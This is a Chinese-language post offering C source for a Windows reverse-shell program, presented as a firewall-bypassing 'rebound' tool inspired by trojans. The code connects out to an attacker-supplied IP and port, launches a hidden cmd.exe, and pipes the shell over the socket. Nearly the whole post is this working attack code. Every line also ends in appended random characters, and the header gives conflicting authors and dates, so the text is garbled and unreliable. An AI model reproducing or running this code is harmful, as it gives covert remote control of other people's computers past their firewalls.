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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y&H}xn  
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/* ============================== zr v]  
Rebound port in Windows NT )"(]Lf's  
By wind,2006/7 ql{(Lf$  
===============================*/ Jo(`zuLJ  
#include mM.*b@d-  
#include >DM44  
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#pragma comment(lib,"wsock32.lib") :nHKl  
/StTb,  
void OutputShell(); })xp%<`  
SOCKET sClient; p=GWq(S6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; TQX)?^Ft  
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void main(int argc,char **argv) b2(RpY2Y  
{ a ?} .Fs  
WSADATA stWsaData; zIC;7 5#  
int nRet; 8kE]_t  
SOCKADDR_IN stSaiClient,stSaiServer; ;DA8B'^>  
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if(argc != 3) $w)~O<_U  
{ TlL^7f}  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1sE?YJP-  
return; O-]mebTvw  
} qs\2Z@;  
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WSAStartup(MAKEWORD(2,2),&stWsaData); _cTh#t ^  
:Eh\NOc_O  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DBLk!~IF  
*,C(\!b !?  
stSaiClient.sin_family = AF_INET; _$NIp `d  
stSaiClient.sin_port = htons(0); q>f<u&  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (z7vl~D  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) pA.J@,>`}  
{ H~eRT1  
printf("Bind Socket Failed!\n"); !IU.a90V  
return; -&82$mj  
} T J^u"j-'  
)M=ioE8`h  
stSaiServer.sin_family = AF_INET; I&?Qq k  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Xdi:1wW@p  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;Mm7n12z C  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7g=2Z[o  
{ WH ?}~u9  
printf("Connect Error!"); 'ckQg=zPR  
return; ,y4I[[  
} #Lsnr.80  
OutputShell(); O1%pxX'`S  
} sb:d>6  
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void OutputShell() r`&-9"+  
{ ?1L.:CS  
char szBuff[1024]; 7*j (*  
SECURITY_ATTRIBUTES stSecurityAttributes; eD$M<Eu  
OSVERSIONINFO stOsversionInfo; "gd=J_Yw  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4${jr\q]  
STARTUPINFO stStartupInfo; ~DO4,  
char *szShell; ')a(.f  
PROCESS_INFORMATION stProcessInformation; 5vo.[^ty  
unsigned long lBytesRead; .)1_Ew  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); g&dPd7  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); hLJM%on  
stSecurityAttributes.lpSecurityDescriptor = 0; _AV1WS;^^8  
stSecurityAttributes.bInheritHandle = TRUE; {NpM.;  
}'r[m5T  
3X9b2RY*L/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); pZ`|iLNl-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jF`BjxrG  
h%WE=\,Qp  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); umz;F  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xw{-9k-~  
stStartupInfo.wShowWindow = SW_HIDE; A5,t+8`aci  
stStartupInfo.hStdInput = hReadPipe; - (#I3h;I  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EM>}0V  
%h1N3\y9i(  
GetVersionEx(&stOsversionInfo); yx V:!gl  
IUR<.Y`  
switch(stOsversionInfo.dwPlatformId) t+oJV+@  
{ ld$i+6|   
case 1: =4GSg1Biy  
szShell = "command.com"; <Q|d&vDVfV  
break; 5J8r8` t  
default: '` 'GK&)  
szShell = "cmd.exe"; [m^+,%m5]  
break; Cg*H.f%Mr  
} y@CHR  
Lb LiB*D#s  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); MO;X>D=  
<2C7<7{7  
send(sClient,szMsg,77,0); A!1;}x  
while(1) |t$Ma'P  
{ !4]9!<.k  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); kyR*D1N&)  
if(lBytesRead) tx?dIy;  
{ </uO e.l>Q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :Hxv6  
send(sClient,szBuff,lBytesRead,0); iy""(c  
} 5s(1[(  
else Em[DHfu1Q  
{ 04r$>#E  
lBytesRead=recv(sClient,szBuff,1024,0); L(GjZAP  
if(lBytesRead<=0) break; `3p~m,  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); c8Z wr]DF  
} d1[ZHio2c?  
} +r3IN){jz  
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return; ZiLj=bh  
}
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